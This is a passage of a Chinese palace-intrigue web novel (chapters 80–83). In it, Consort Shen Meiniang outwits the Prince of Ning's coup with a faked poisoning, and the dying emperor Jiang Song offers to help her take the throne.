这几日宁王那些人除了继续磨嘴皮子,也对姜颂别无他法。 至少在卢、郑二人的联军杀进上京前,宁王没有别的办法。 沈美娘这日无聊地莳弄花草,随口问姜颂:“陛下,这是还在等谢阁老?” 姜颂点头:“这一局本就是为他设的,他不来,收网也没意思。” 这一点,沈美娘也没想到。 原以为那个谢阁老会跟着宁王一同进宫,谁能想到他竟到今日都还未露面。 谢阁老不愧是三朝老臣,他当真是一个精明到极致的人。 他想必是打算等到姜佑等人事成再出现,若不成,他也还能将自己摘个干干净净。 “这个谢阁老,倒也让人佩服。”沈美娘由衷道。 寻常人家六十岁的老翁,能不眼花耳聋都算不错了。 他却还能有这般筹谋,甚至一把年纪了,都还敢为了权力放手一搏。 就算两人是仇敌,沈美娘也欣赏他。 姜颂摇头:“他坏得很,我最讨厌他了。” 沈美娘闻言,从善如流:“那我也讨厌他。陛下讨厌的,臣妾甚厌之。” 她支着下巴,眼睛很亮,就好像真的很喜欢姜颂般。 姜颂被她看得有些不好意思,红着脸应声。 这几日可能是天气渐渐回暖,姜颂身子好了许多。 沈美娘前些日子不敢逗姜颂,今日见他这样,心里又起了逗弄之心,却忽听到殿外传来声音—— “宁王殿下,请贵妃娘娘过去一趟。” 沈美娘听到这话直接嗤笑出声。 姜颂还没死,这个宁王就敢这般无礼。 还真是个蠢货中的蠢货。 沈美娘几次三番被这个宁王冒犯,心里积了火,此刻只想报复回去。 她眯了眯眼:“好啊,不过——本宫是陛下的贵妃,岂有我去见他的道理?” “你去告诉他,就说,本宫在紫宸殿偏殿等他。半个时辰内,他若不来,本宫也不想见他了。” 宫女领命而去。 沈美娘起身,姜颂有些担心又眷恋地拉她的手。 她伸手,摸了摸姜颂的脸:“不会有事的,我是去报复他的。” 姜颂如今陪她的时间过一天少一天,还得匀力气去管这些乱臣贼子。 看她等会儿不气死这个宁王。 80-85 第81章 第81章除却巫山不是云( 姜佑听到宫人说,沈美娘要他亲自去见她时也不恼。 沈美娘既然愿意见他,就是还愿意给他机会。 姜佑行至偏殿,步入殿内,就看到沈美娘向他看过来,盈盈一笑:“宁王殿下来了,请坐。” 姜佑没想到沈美娘会待他这般温柔,呆了片刻,又很快反应过来。 他就知道梦里待他那般温柔的美娘,无论如何都不可能真的厌恶他。 她只是被姜颂那副好皮囊短暂蒙蔽了眼睛而已,她如今肯定知道,天底下只有他姜佑与她最般配。 姜佑坐在沈美娘的对面,很是拘谨。 之前,沈美娘的态度冷淡,姜佑尚知道该如何自处。 可她如今态度真的软和下来,姜佑反而不知道该说些什么。 沈美娘看出眼前人的紧张,主动道:“殿下,缘何会一直对我这般好呢?” 姜佑原本的戒备心,在听到沈美娘循循善诱的语气时,就全都化为乌有。 眼前的女人含笑看他,让他仿佛又回到了如梦似幻,永远都让人如落三春的梦里。 姜佑将梦中的点滴讲与沈美娘。 她是如何来到他身边,又是如何陪伴梦中的傀儡帝王,一步步把权力从谢家手里夺回来。 还有他崩逝前,沈美娘没有半分迟疑的——“臣妾愿意去地下继续侍奉陛下。” 沈美娘一点点听着,忽然问了个问题:“梦里除了我,还有谁,是陪着宁王殿下夺权的人呢?” 姜佑道:“九年前意图割据西南的祝将军,在那个梦里未死,他的儿子祝凌一直 都是本王的心腹。还有一些人你应该不认识,但都是本王一手提拔的寒门学子,像刘知渊、许进……” 沈美娘听到这里眉梢轻挑,又听姜佑“不经意”间,讲了好多他在那个世界的丰功伟绩。 “我明白了,不过有件事,我觉得宁王殿下应该误会了。”沈美娘打断还在滔滔不绝炫耀的宁王,“我觉着‘那个我’应该不喜欢你。” 沈美娘直截了当道:“你说的那个人要么就不是我,要么就根本不爱你。” “她如果真爱你,根本就不会允许你还能有别的妃子,更别提和她们生孩子了。你还说你怀疑她和沈温有染,故意打死了她身边的侍女,试探她的真心……”沈美娘把刚才姜佑可能认为不重要一笔带过的事情点出来。 沈美娘:“按你的意思来说,你在死前,不忍让她殉葬,下令放过了她。我想你还是不了解她,她口口声声说愿意为你殉葬只是骗你罢了。你不会当真以为,她会愿意为你去死罢?” 宁王驳斥:“不、不是的,她爱我,她就是愿意为我去死……” “那她就不是我了,我可不会为任何人去死。”沈美娘坐回位置上道。 宁王被沈美娘戳破这一点,慌乱无措:“不是的,你就是她,你们生得如此相像,你怎会不是他?” 沈美娘伸手捏住宁王的下巴,端详道:“其实如果细看,你和姜颂生得勉强也有一两分像。” 毕竟他俩的生父是一母同胞的亲兄弟。 “可是……”沈美娘涂着鲜红蔻丹的手指划过宁王的脸,“本该相似的五官,却又因细小的差距,呈现出全然不同的样貌。” 姜颂那张脸本来就是挑着爹娘最好看的地方长的。 眼前的宁王虽眉毛、唇形等处和他有些许相似,但因眉峰略锐,颧骨过高,整体瞧着也就不过尔尔。 “你和姜颂不一样,我和你梦中的那人,自然也不同。”沈美娘的手移到姜佑的脖颈间,突然用力掐住他:“就比如——” “她会爱你,而我,只会掐死你。” 宁王被沈美娘猛地掐住脖子,用力挣扎,殿外的军士才进来,将他从沈美娘救下来。 他深吸了几口气,抚着胸口,好一会儿才彻底平息下来。 宁王抬头看眼前的沈美娘,刚才窒息的感觉和对死亡的恐惧褪去。 他愤怒地指着沈美娘:“你竟想杀我……你如今和姜颂都不过是我的阶下囚,你以为我当真舍不得杀你不成。” “舍不得?”沈美娘反问,“你是不敢吧。” 沈美娘慵懒地整理着鬓边因刚才动作,有些摇摇欲坠的牡丹花。 她睨了姜佑一眼:“只要姜颂还活一天,你们谁都动不了我。你若是不信,大可以让这些兵士,还有宦官、宫女来杀我就是——你看他们谁会听你的话。” 就算姜佑等人给他扣上妖妃的罪名,但能下令赐死她的人,也只有姜颂。 姜颂不开口,除非这些发动兵变的士兵和九族有仇,不然没有任何人有权杀她。 宁王被眼前的沈美娘气到,吩咐士兵:“来人,把她给本王杀了。” 可就如沈美娘所言,那些士兵全都惶恐地跪在地上,不敢有任何动作。 沈美娘得意地冷笑一声,与宁王擦肩而过。 宁王阴恻恻的声音,从身后传来:“是,本王确实现在奈何不了你,但你以为姜颂就能护住你吗?等他死了……” “姜佑。”沈美娘冷声打断姜佑的话。 这也是姜佑今日第一次看到沈美娘的眼中露出杀意。 即使刚才她掐住他脖子时,也依旧是笑着的。 沈美娘的眼神,令姜佑不寒而栗。 这种像看蝼蚁般看他,夹杂着杀意的眼神,让姜佑仿佛又回到了幼年被先帝圈禁、被时时看管的岁月。 沈美娘在袖中藏着的手攥紧:“姜颂才不会死,他会长命百岁的。” 可她知道,姜颂就是会死。 他注定会在不久后,永远地离她而去。 就算这是事实,沈美娘也绝不允许任何人用这种嘲弄的语气提到。 她被姜佑这句话戳伤了,她也一定要报复回去。 沈美娘轻笑:“梦里的那个我,虽口口声声答应会为你殉情,但她只要和我有一丝关系——我都可以告诉你,她真实的想法。” 沈美娘不承认那个人是她,但她不介意此时随口编瞎话刺激姜佑。 “在你死后,不,兴许在你咽气前,她就有不止一个相好了。你长得这么丑,又没什么脑子,没什么特长……你以为她会愿意守着你一辈子。”沈美娘道。 “你这种人,可不配得到她的爱。” 沈美娘说完这句话就转身离开。 身后不久传来一阵打砸声,沈美娘听到后更觉得姜佑此人实在无趣。 和这种蠢笨的人说话,她都觉得拉低她的“智商”了。 但想想这人是“谢阁老甄选”,沈美娘又觉得自己学到了。 以后,她也要按照这个标准挑傀儡。 姜颂一直很担心沈美娘,看她毫发无伤回来,上前握住她的手。 他问:“姜佑没有为难你吧?” “他哪里来的本事为难我。”沈美娘耸肩。 她把刚才戏耍姜佑的一番话,都和姜颂讲了一遍。 姜颂听完以后,皱着眉:“我觉得他说的那个世界,那般细致,未必就是全然编造。也许他真是本来的男主……” “他才不是。”沈美娘摇头,“他长得那么丑,我下辈子都看不上。” 再说,那个姜佑还说什么,那个世界的她是名门之女。 这点虽和颜舜华说的历史线也对上了,但沈美娘还是不认。 她在那个世界的父亲不是现在的父亲沈文,但她只喜欢现在的爹爹。 她就要做七娘和阿爹的小孩,只有七娘和阿爹,才能养出这么好的沈美娘。 “再说——”沈美娘捏了捏姜颂的手,“我选择谁,谁才是男主。我选了你,你就是唯一的男主。” 姜颂听到这句话,怔然看了会儿沈美娘,方用力点头。 可他还是不解:“美娘,你就这般确定,那个世界的‘沈美娘’不爱姜佑?” “当然不爱,她若是没说愿意给姜佑陪葬,我还会怀疑下,兴许她真的爱姜佑。”沈美娘道。 沈美娘和姜颂的手十指相握,她能感受到姜颂手腕处跳动的脉搏。 她道:“我是不会为任何人去死的。姜颂,我娘生我的时候疼了三天三夜,才把我生下来。随随便便就去死,对不起我娘,也对不起我自己。” 她出生在夏日。 七娘生她时,提前动了胎气,原本相谈好的思州城的稳婆赶来不及,沈美娘的阿娘最后实在忍不住,自己拿剪刀接生的她。 沈美娘小时候听阿娘说,她出生时,胎盘和羊水都有些臭了。 是因为阿娘的勇敢和她的坚强,两人合力,才让沈美娘可以到这世上来看看。 姜颂点头:“美娘,你是对的,活着就是最重要的。” 他从前总觉得放弃生命,去证明自己所坚持的东西,譬如理想、自由,是件惊心动魄的事。 可沈美娘的存在,却让他知道,这世上没有比活着本身,更伟大的事了。 “‘死生亦大矣。’如果有一天,我觉得有比活着更重要的事,我也会去死。但我绝不像姜佑说的那样因为他快要病死了,就为他殉情。”沈美娘道。 “所以——”沈美娘觉得话题有些沉重,故意把话题挑开,“那个女人是沈美娘,那个女人爱姜佑,那个女人会为姜佑殉葬,这三件事就不可能一起发生。” “我已经有了最爱的人了。” 沈美娘故意又捏了捏姜颂的手。 她仰头看着姜颂,瞳孔里倒映出他的身影。 已经见过了最明媚的朝阳,又如何会再看得到别的萤烛呢? 第82章 第82章“在你眼里,我看清了我…… 第八十二章 姜颂这边还是没有半分松口的意思,宁王 那边则先一步顶不住了,谢阁老今日已经进宫了。 毕竟,政变逼宫这种事就得快刀斩乱麻,古往今来多少例子证明,只要失去良机,轻则落下口实,被那帮写史的人骂上千年。 重则全族夷灭,一个活口都留不下来。 当然,大部分情况是两者都逃不掉。 沈美娘给姜颂喂药,听宫女给他们二人讲眼下的情况。 郑、卢二人的联军,在南州、衢州虽打出了“诛妖妃,清君侧”的旗号,但响应的州却不多。 两人这一路受阻,如今离京城遥遥,更别说,蜀王见势不对也入京勤王了。 谢阁老是要名声的人,可眼下情形越来越不利,他恐怕也要不得什么名声,该狗急跳墙用见不得人的手段了。 姜颂伸手挡住沈美娘的动作,道:“美娘,你说……” 他想说他也没想到,明明他事先给南、衢两州附近,他信得过的州牧送了密信。 可为何到头来,那些人并不是所有人都听他的安排。 反而有些谢党人,或是亲近谢党的官员,即使没有收到密信,也全力阻击叛军。 “先吃药。”沈美娘又舀了勺药,让姜颂先吃药再说。 姜颂只好暂时压下心里的疑惑,听话地把药都喝了。 直到他喝完最后一口汤药,沈美娘才给他递了一颗很甜的蜜饯。 她见姜颂看起来气色好了不少,满意地笑笑。 沈美娘这才回答姜颂刚才没问出口的问题:“我想你递了密信,让他们提前做准备的那些人,肯定是叶党人——至少怎么也得是不亲近谢党的吧?” 姜颂点头。 “你总和我说谢党人很坏,他们世家的人很坏。虽然你也和我说过,叶党你也不尽放心……但你其实还是更信任他们的。”沈美娘道。 “都搞党争这种事了,谁能比谁干净多少?叶党的人如今若有聪明的,其实最好的选择就是作壁上观。”沈美娘替姜颂捋了捋鬓边碎发,“至于谢党人和亲近他们的人——” “高门大族的贵公子自然也有清高有气节的,绝不是所有人眼里都只有利益。” 那些抵抗卢郑二人军队的人里,当然也有为官一方,不相信这支临时拉起来的军队能有什么好军纪的谢党人。 也可以说,能像祝将军那般严厉治军的,几百年都找不出来一个。 稍微有点良心的州郡父母官,都不可能主动开城门。 姜颂听了沈美娘的话,有些脸红:“美娘,我真笨,这么简单的道理都没想明白。” “不是的。”沈美娘用力摇头,“是因为叶先生是你的老师,是你很亲近的人。” 所以就算姜颂也明白这些道理,他也未必能真的拎得清。 人都是这样啦,都会更愿意相信亲近的人。 姜颂“嗯”了一声,他发现沈美娘身上熟悉的脂粉味淡了很多,接近于无。 他有些奇怪:“美娘,你身上的脂粉味呢?” 他记得沈美娘最喜欢涂脂抹粉了,每日早晚都要敷好几次粉的,也最喜欢把自己收拾得香香的。 沈美娘道:“我怕呛到你,现在都不怎么涂了。” 她看姜颂愣了一下,知道他反应过来就要“内耗”,先开口道:“你不准愧疚难过!” “我是喜欢你才照顾你。如果我生了重病,你肯定也会为了我不熏香啊。这是两情相悦的人都会做的事,你不许愧疚!”沈美娘捏了捏姜颂的手。 她换了个姿势,改为趴在他床边,把玩着姜颂的手:“我知道姜颂你活不了多久了,所以我希望余下的每一天,都让你快乐,很快乐很快乐。” 沈美娘拉着姜颂的手,放到唇边轻轻吻了吻。 珍而重之。 姜颂眼里好像有盈盈泪光,但很快他就笑弯了眼,用没被沈美娘握住的那只手,抚着她的头发。 他垂下眼,在此刻也忘记了他是个将死之人。 直到殿门被人粗暴地打开,宫人们都吓得跪了一地。 姜颂还没反应过来,沈美娘却已经拔了床头的天子剑,挡在他的床前。 她见姜颂想起身,转头呵道:“你起来作甚?好好躺着养病就是。” 姜颂闻言只好躺了回去。 沈美娘看到宁王领兵进来,与此同时,被宫人送进来的还有匕首、鸩酒和白绫。 她定神一看,宁王身边没有沈温和裴渡陪伴,又联想到谢阁老今日已经进了宫。 按理来说,该是谢阁老同他一起来才对,可只有宁王一个人…… 沈美娘心里很快有了一个猜测。 她提起剑,指着不远处的宁王,质问:“宁王殿下,拿着这些污秽之物进来做什么?难不成您打算弑君不成?” 宁王这次显然比之前要有底气许多,他看着眼前的沈美娘。 她今日未施粉黛,头发也只是挽了一个简单至极的发髻,和他梦里见过千万次的女人无限接近。 宁王觉得他离成为那个世界的“自己”已经越来越近,只要姜颂死了,他就会成为万人之上的皇帝,沈美娘也会成为他的皇后。 他就能夺回本该属于他的一切。 沈美娘盯着眼前宁王有些痴狂的眼,觉得和这个人斗真的有些没意思——看着跟个傻子一样。 她这话都是把弑君的罪快扣死在他头上了,他居然还不立刻反驳? 他是真想以后死了,逢年过节都被文人们拉出来骂是吧? 就在沈美娘想着要不扣个更大的罪,给这个傻子宁王时,终于等到他开口:“美娘,我知道的……你都是被他蛊惑了。” 宁王伸手指着沈美娘身后的姜颂。 这个废物为何总是如此幸运,幼年时有疼爱他的师长,总是有一堆没用的同情心,可他的父亲、老师却都愿意包容他。 而他姜佑呢?他一无所有。 直到他开始做那个绮丽的梦,在梦里,他第一次被人爱,被人照顾。 可就连唯一爱他的人,都被眼前这个男人夺走了。 “美娘,我知道的,你爱的人是本王。”宁王一步步走向沈美娘,他伸手握住离他近在咫尺的剑刃,“美娘,我不信你会为了他,就要杀我。” 沈美娘被眼前的宁王吓到了。 这是哪里来的自我感动症候群患者?他现在最好的归宿,应该是精神病院。 可惜这里是大燕,没有精神病院,难怪这个宁王癫成这样了。 沈美娘将剑从宁王手中抽了回来。 宁王见状,脸上绽开笑容:“美娘,我就知道……呃……” 沈美娘直接一剑捅到了宁王的手臂上,又迅速收剑,冷眼看着他:“你现在信了吗?本宫——一点都不喜欢你。” 姜颂为她掏心掏肺两次,才得到她的一点真心。 这个宁王哪来的大脸,觉得她会喜欢他? 凭他长得丑?凭他动手动脚没礼貌? 宁王盯着眼前沈美娘手中的剑,上面他的血缓慢地滴着,白刃在光下折射出泠泠寒光。 他这才如梦初醒般,笑出声:“你竟然为了姜颂要杀我?” “好啊,我原本还打算原谅你的,我给你备的原是假死药……现在看来是用不上了。”宁王让人重新端了两杯毒酒上来,送到沈美娘面前。 他扯了个笑:“请陛下和娘娘快些饮下,不要逼本王让士兵们动手,用白绫和匕首送你们上路。” 沈美娘看了眼那两杯看起来和寻常浊酒无异的毒酒,抬眼看向宁王,感叹道:“你就这么忍不住啊。” 沈美娘从前是很不相信爱情的。 她觉得所谓爱情,就是像叶随、沈温、李振鹤那样,爱她的美貌、聪明罢了,把她当个标榜权力地位的银鱼符般,时刻带在身边。 只要她容颜老去,或是能拿她换取更大利益,就会将她随手转送给其他人,又或是抛到一边去。 可姜颂的出现,让沈美娘知道,原来世上是会有爱她那般纯粹。 原来有人会愿意用生命来滋养她。 沈美娘被这个宁王骚扰好几次,却都没有直接整死他,就是因为她以为这人也爱她—— 虽然他又蠢又笨又贪婪,但只要他给的也是纯粹的爱。 沈美娘就愿意让他活命。 原来不是。 “美娘!” 沈美娘将两杯毒酒都尽数饮下,姜颂起身向她跑过来,却也已经无力回天。 他用力拍了拍沈美娘的肩膀,伸手想去扣她的喉咙,让她把毒药全都吐出来,反被沈美娘握住了手。 沈美娘像往常般捏了捏他的手。 落在宁王这 个外人眼里,沈美娘这是临死之际,安慰爱人让他不要担心。 姜颂却想起来,沈美娘说过,她不会轻易去死的,更不会为一个男人去死。 姜颂想清楚了这一点,心里有了希冀,眼泪却还是忍不住往下掉。 他想到沈美娘肯定不想暴露,哭得愈加卖力,还忍不住嚎出声。 沈美娘没想到姜颂能这般快懂她的意思,还哭得这么尴尬。 她拼命忍住笑意,呕出一口血,扭头看向宁王,问:“你如今杀了本宫,陛下也时日无多,你何不放过他呢?” “放过他?”宁王冷笑:“先帝当年杀我父王时,可有说放过?我替父报仇,何错之有?” 说的振振有词,怎么先帝在时,不见他刺杀先帝呢?是不喜欢吗? 沈美娘又问:“当年潞王谋反,先帝只赐死他一人,已经算是重视手足之情。” 大燕至今七位皇帝,有几个不是“父慈子孝”、“兄友弟恭”的?那些造反、政变的输家,多的是全家男丁尽诛,女子全部没入掖庭的。 都不用和他们比了,就当年大谢太后意图扶立幼子,参与这件事的大臣哪个不是倒大霉了? 先帝和宋薇夫妻间过于谈感情,沈美娘其实都觉得有些过了。 更别说,皇室的兄弟姐妹谁能不留一手? 先帝待潞王父子,本就算是开恩了——对任何一个皇帝、一个政斗的成功者来说。 宁王恼羞成怒:“什么开恩?这算什么恩情?” “先帝当年赢了,便处死了我父亲,如今本王赢了,自然,也能处置你们?”宁王道。 “赢呢?”沈美娘声音颤抖地问。 宁王得意:“那是自然,你们以为姜颂是皇帝就了不起?这宫里就没人能压他一头了吗?” 谢阁老和宁王果然是想去找谢太后了。 只是,谢阁老和宁王大抵都没想到,沈美娘在他们之前先一步就想到了,谢阁老会去走谢太后这步棋。 他们更不会知道,沈美娘会有能够策反谢太后的筹码。 沈美娘已经打探到她最想要的消息,便从姜颂怀中坐起。 她理了理鬓发,擦了擦唇边的血迹,在宁王震惊的眼神里,笑开:“事先含了点血包,刚才咬破的。” 颜舜华在她来京前送了她不少装备,除了什么“刀枪不入甲”这种东西,也送了她许多稀奇古怪的小玩意儿。 比如这个血包。 沈美娘看向身边的姜颂,问:“陛下,你觉得这局可以收网了吗?” “可以!”姜颂立刻道。 殿内看似被宁王操控的宫人,立刻将宁王制服。 姜颂从袖中取出本该在裴渡手中的另一枚虎符,与他的那枚合二为一。 他对手已经落在剑柄上的将士们道:“众将士听令,裴将军早知宁王与谢阁老意图谋反,只是假意归顺两人。” “此事不便于众人知,这半月来之事,皆不怪尔等。” 听到姜颂的话,这些人中官职最大的一位将军,上前查看了姜颂手中的虎符,立刻命令将士们听令。 宁王这才反应过来,指着姜颂道:“这都是你设的局?” “是又如何?”沈美娘挡到姜颂身前。 他不解:“可是今日这毒酒……” “这毒酒是你临时起意,见沈温、裴渡都去找谢阁老,没人会阻止你了,立刻就送过来了,对吧?”沈美娘反问。 这个宁王嫉妒姜颂入骨,今日得了机会,立刻就想来要他的命。 这才让姜颂刚才都差点以为那是真的毒药。 沈美娘让人将盛这两杯酒的酒壶送了进来,她又让宫人为她斟了一杯酒,递到宁王面前。 “你喝喝试。”沈美娘道。 宁王端起酒杯喝了下去,他以为这是毒酒,根本不敢喝。 但此刻他已经沦为阶下囚,哪里还有反抗的余地。 宁王只得将酒一饮而尽。 但他没有半分不适。 “想死?那可便宜你了。”沈美娘笑意渐浓,“这是我家乡的‘江畔春’,可是一等一的好酒,给你喝还是浪费了。” “你且喝了这杯酒,等会儿,还得让你清清楚楚看场戏。”沈美娘道。 宁王摇头:“你究竟是如何换了这两杯酒?” 沈美娘又给自己斟了杯酒,仰头喝下:“看到这些人了吗?” 她的指尖扫过那些跪在地上,连头都不敢抬一下的宫人。 “在你们眼里,她们是低贱之人,他们是残缺之人,可是,即使是最微末的人,也有一颗心。你若是无缘无故砍下他们的头颅丢进灶中,他们就算死了,也敢和州牧叫板——何况他们都还是活生生的人,都还有一颗会想事情的脑袋。”沈美娘微笑道。 她还想再斟酒,被姜颂按住手,才悻悻停下动作。 沈美娘不敢凶姜颂,就把脾气撒到宁王身上:“只是换一杯酒罢了,算什么难事?” 若是利益到位,让这些人深夜,将宁王勒断气,也是有人愿意的。 沈美娘起身:“你这人还真是蠢笨,居然趁着沈、裴二人不在,自以为谢阁老进宫找了谢太后,你们就必赢无疑。竟急匆匆就来杀陛下和本宫,却不知自己成了他们二人的棋子。” 谢阁老就是故意给宁王这个蠢货弑君的机会,把这个遗臭万年的机会给他。 至于,谢阁老真正想扶立上位的人—— 大抵就是传闻中,谢太后那位早夭的“皇子”。 纵使沈美娘和谢太后都知道那其实是个女儿,但谢阁老肯定会坚持那是个皇子。 他只要能从民间又或是宗室旁支里,找到一个与先帝生得有七八分像的孩子,那个孩子就会成为谢太后所生。 至于这些年流落在外的原因,为国祈福、乳母错抱……也多的是借口。 沈美娘奚落完宁王,转头看向姜颂:“你可还好?” 他刚才哭得那般肝肠欲断,不会伤到身子吧? 姜颂摇头:“我很好。” “你是怎么知道我刚才是装出来的?”沈美娘有些好奇。 姜颂耿直道:“你刚才捏我手,我就一下子都懂了。” “我知道的,美娘你这般厉害,定然早就有了万全之策。”姜颂眼里全是对她的钦佩、赞赏和赤诚的爱意。 沈美娘刚才被宁王“爱而不得”的阴暗目光盯着,都没有什么反应,此刻却被姜颂眼里干净、澄澈的爱慕,看得有些不自在。 她撇了撇嘴,低头道:“就你会夸。” 姜颂摇头:“这是事实!” 但此时还不是和姜颂黏糊的时候,沈美娘知道她还有更重要的事情需要去做。 她用剑挑起宁王的下巴,问:“谢阁老,除了去见谢太后,他还有什么密谋的事,你最好一五一十给本宫交代清楚。” 沈美娘见宁王不肯说,收了剑:“不说也没事,本宫不喜欢牵连无辜,但你今日打算伤害本宫心爱的人——那若是将来陛下赢了,本宫必刨你父母祖坟鞭尸,以消心头之恨。” 宁王瞪大了眼睛,像是没想到沈美娘一个女子,竟会恶毒至此。 他在此刻,才彻底意识到,沈美娘和梦中的那个女人,绝不可能是一个人。 他指着沈美娘:“你、你敢……” “有何不敢?”沈美娘耸耸肩,“本宫素来是做事留一线的,但你不都说了吗?你赢了,可以处置陛下和我,那我赢了,自然想怎么处置你——就怎么处置。” 宁王可能是被沈美娘无耻到了。 但他确实不愿意拿爹娘的尸体去赌,道:“他们打算以陛下病危,急召重臣申时进宫。” 沈美娘将刀贴在宁王脖颈边,问:“你可知具体是哪些人?” “我不知啊……想来肯定会有叶党的大臣们吧……”宁王道。 沈美娘又拿剑逼问了几句,见宁王是真不知道别的什么实情,才收剑入鞘。 她问韦阿宜:“现在是什么时辰?” “回 娘娘,已经未时一刻了。” 那肯定来不及去收拾谢阁老,也来不及给那些大臣递消息了。 “沈大人、裴将军可有递新的消息来?”沈美娘问。 韦阿宜摇头。 看来谢阁老这次进宫肯定是所有都安排好了,将这两人也都看得死死的。 那如今就只有先入局,再于谢阁老这局中寻找破局之处了。 沈美娘唤来看守紫宸殿的禁军领头:“刚才可有把这边的消息透露出去?” 将军拱手:“事关重大,没有陛下的口令,臣等不敢多言。” 沈美娘心里松了口气。 谢阁老那边也不知道这里的具体情况就好。 “青词,你给他手上的伤治治。”沈美娘吩咐完青词,又指挥人把宁王拉下去给他换身衣裳,遮盖手臂处的伤。 她站到宁王面前,手落在他伤口前,却没有触碰。 沈美娘冷冷抬眼:“你等会儿最好乖乖听话,否则……青词可是蜀中人,我是思州人,你应该知道我们那里最多的是什么吧?” 没等宁王回答,沈美娘就主动柔声道:“我们那里蛊和毒是最多的,还都是能叫人求生不得求死不能那种。” 宁王如今再也不敢觉得沈美娘亲切,他被沈美娘这几句话吓得脸色苍白,只得一个劲儿点头。 沈美娘命人将宁王带下去,又唤来侍女给她和姜颂更衣。 她的目光落在姜颂可能是因为刚才大哭,又变得有些苍白的脸上。 沈美娘心头有些不忍,姜颂却先一步笑着道:“美娘,没事的。” 他主动唤来宫人:“替朕更衣。” 沈美娘默了一下,也让宫人替她更衣。 最后姜颂什么都已经换好了,只有腰间的玉佩还没有挂。 他等沈美娘梳妆打扮好,挥退了宫人,道:“美娘,你来为我戴玉佩吧。” 沈美娘知道姜颂最喜欢她帮他戴玉佩。 他不喜欢她帮他更衣,说这样他很像小孩子,而且搞得他好像把沈美娘当佣人一样。 但他很喜欢沈美娘帮他挂玉佩,还喜欢故意趁沈美娘不注意,揽她进怀,在她颈间闻她身上的香气。 但这次姜颂格外老实,没有像以前一样,明明很想闻沈美娘身上的香味,但还是要故作正经。 沈美娘这才想起来。 哦,她近来没有抹香粉了,难怪姜颂今天不抱她了。 直到沈美娘替他挂好玉佩,姜颂才忽地用力抱住她。 “你做什么?我如今身上可不香了。”沈美娘故意调侃。 姜颂闭着眼,像是很安心般:“是香的,很香很香。” 沈美娘听到姜颂的话,有些不确定地闻了闻自己的袖子。 她深吸了好几口,才确定真的一点不香。 姜颂这是五感开始丢失呢? 沈美娘好像听人说,人快死的时候,好像就会这样。 但下一刻,她就听到姜颂道:“美娘,你在我心里永远都是香的。” “是夏雨浸透后的竹子味,是梅子酒的微醺,是冬雪时的腊梅香……很多很多的香味。”姜颂回忆道。 沈美娘这才松了口气。 吓她一跳,她以为姜颂是快死了,原来是“恋爱脑”又发作了。 那没事了。 沈美娘回握住姜颂的手,也没说话,只想和他再享受这片刻的宁静。 可她听到姜颂又开口道:“美娘,我已经替你安排好了。” 沈美娘皱眉。 她现在听到姜颂说“安排好了”,心里就发虚。 他又瞎安排了些什么? “我听你和宁王今日的对话,我猜到了谢阁老做了什么……他是也从宗室里,找了个比宁王都更好控制的傀儡吗?”姜颂问。 沈美娘对姜颂话里的“也从”两个字警铃大作,试探应道:“是。” 姜颂低低笑了两声:“谢阁老还真是谨慎。” “美娘,我也给你挑好了人选。”姜颂道。 人选? 什么人选? 沈美娘难得如此不知所措。 上一次出现这种超出她预料的事,还是姜颂背着她和颜舜华达成了交易。 “你又做什么呢?!”沈美娘从姜颂怀里挣脱出来。 她紧盯着姜颂,眼里满是寒意。 姜颂有些委屈:“我没伤害自己,美娘你不要担心。” “那你在做什么呢?”沈美娘问。 姜颂像是炫宝一样:“我给你找了一个很合适的孩子,是宗室很偏很偏的一支,在我皇爷爷那一辈就被贬到房州去了。” “那是个极乖巧伶俐的孩子,他会很孝顺你的——如果美娘你只是想做太后、太皇太后的话。”姜颂道。 沈美娘从姜颂话里听出不对劲儿来。 果然,姜颂在短暂的沉默后,道:“而且,那个孩子的血脉不太正。若是有一日你想取而代之,会是再合适不过的选择!” 沈美娘听完这句话,反应了好一会儿才明白姜颂话里的意思。 不是。 姜颂知道他在做什么吗? 他是说过给沈美娘过继孩子的事情,但是…… 他明知道那个孩子可能没有皇室血脉,还打算让她过继? 谢阁老那么做,是因为皇位不是他家的,他哪天改朝换代也说不定。 姜颂他、他——他果然是恋爱脑发作了是吧? 沈美娘想骂姜颂,但她也确实拒绝不了这个提议。 但她还是得装得温柔贤良点,就算姜颂好像已经将她彻底看穿了。 姜颂支持她做太后,和支持她做皇帝,这可是两件截然不同的事。 只要有一点私心,就没有哪个男人会支持老婆抢走自家的皇位。 沈美娘不能自己主动承认,她血肉下深藏的欲/望。 沈美娘于是温柔笑开:“陛下,臣妾没有这种心思。这旁支入继大统的事,岂能如此儿戏,陛下……” “美娘。”姜颂打断沈美娘还没说完的推辞之言,“我就是这么想的。” “我不在意江山到底姓什么,但我知道姓沈的话,你会很高兴。”姜颂轻笑,“那就够了。” “而且——” 姜颂拉起沈美娘的手,他细密的眼睫垂下,投下一片阴影:“我知道你会是个好皇帝。” “你永远不用担心我会忌惮你。” 沈美娘感觉自己的手被姜颂紧紧握住。 他道:“我爱的,就是有野心的,上进的,像草木般昂扬,又如山茶牡丹般艳美的你。” “我就是爱这样的你,很爱,很爱。” 姜颂抬眼,与沈美娘四目相对。 沈美娘在他的瞳孔里,看清了自己。 她从未如此清晰地看清自己的面孔,就连在铜镜里都没有过。 第83章 第83章致敬传奇铺路王 谢阁老还在太后所居的寿康宫,紫宸殿这边的情况,他还不清楚。 不到半个时辰,谢阁老的人就来找宁王。 宁王已经换了身衣裳,看不出身上的伤。 来传话的是兵部尚书元轩,他看到紫宸殿一片祥和,姜颂和沈美娘都还没死,眼里闪过一丝异样。 谢阁老不是说宁王一定会动手吗? 他想了想,觉得可能是宁王懦弱胆小、不敢动手,又压下了心底的疑惑。 元尚书厉喝:“来人,将此叛贼拿下!” 宁王没想到谢党人会如此待他,连忙质问元尚书这是要做什么。 元尚书置之不理,跪在寝殿前请罪:“陛下,微臣救驾来迟!” 沈美娘陪姜颂从殿中出来,瞥了眼元尚书,和他带来的士兵。 元尚书又道:“宁王联合逆臣郑愔、卢述二人谋反,宁王已被臣拿下,郑卢叛军定也能不日被拿下。” 原来谢阁老从一开始就是在利用宁王,至于郑卢二人——沈美娘也说不准谢阁老是早有舍弃之心,还是见二人半个月了都还没攻下两座城,才心生抛弃之意。 但不论是这两者哪个原因,沈美娘 都还越来越佩服这个谢阁老。 卖队友卖得如此熟稔,还真不是一般的心狠。 也不怕以后没人愿意和他一起做事了。 姜颂随口夸赞了元尚书几句。 他和沈美娘一样,都想看这个谢阁老究竟要做什么。 元尚书又道:“陛下病危,膝下无子,欲册立幼弟为皇太弟。谢阁老承陛下旨意,已召朝中重臣进宫,还请陛下移驾宣政殿。” 姜颂反问:“幼弟?” 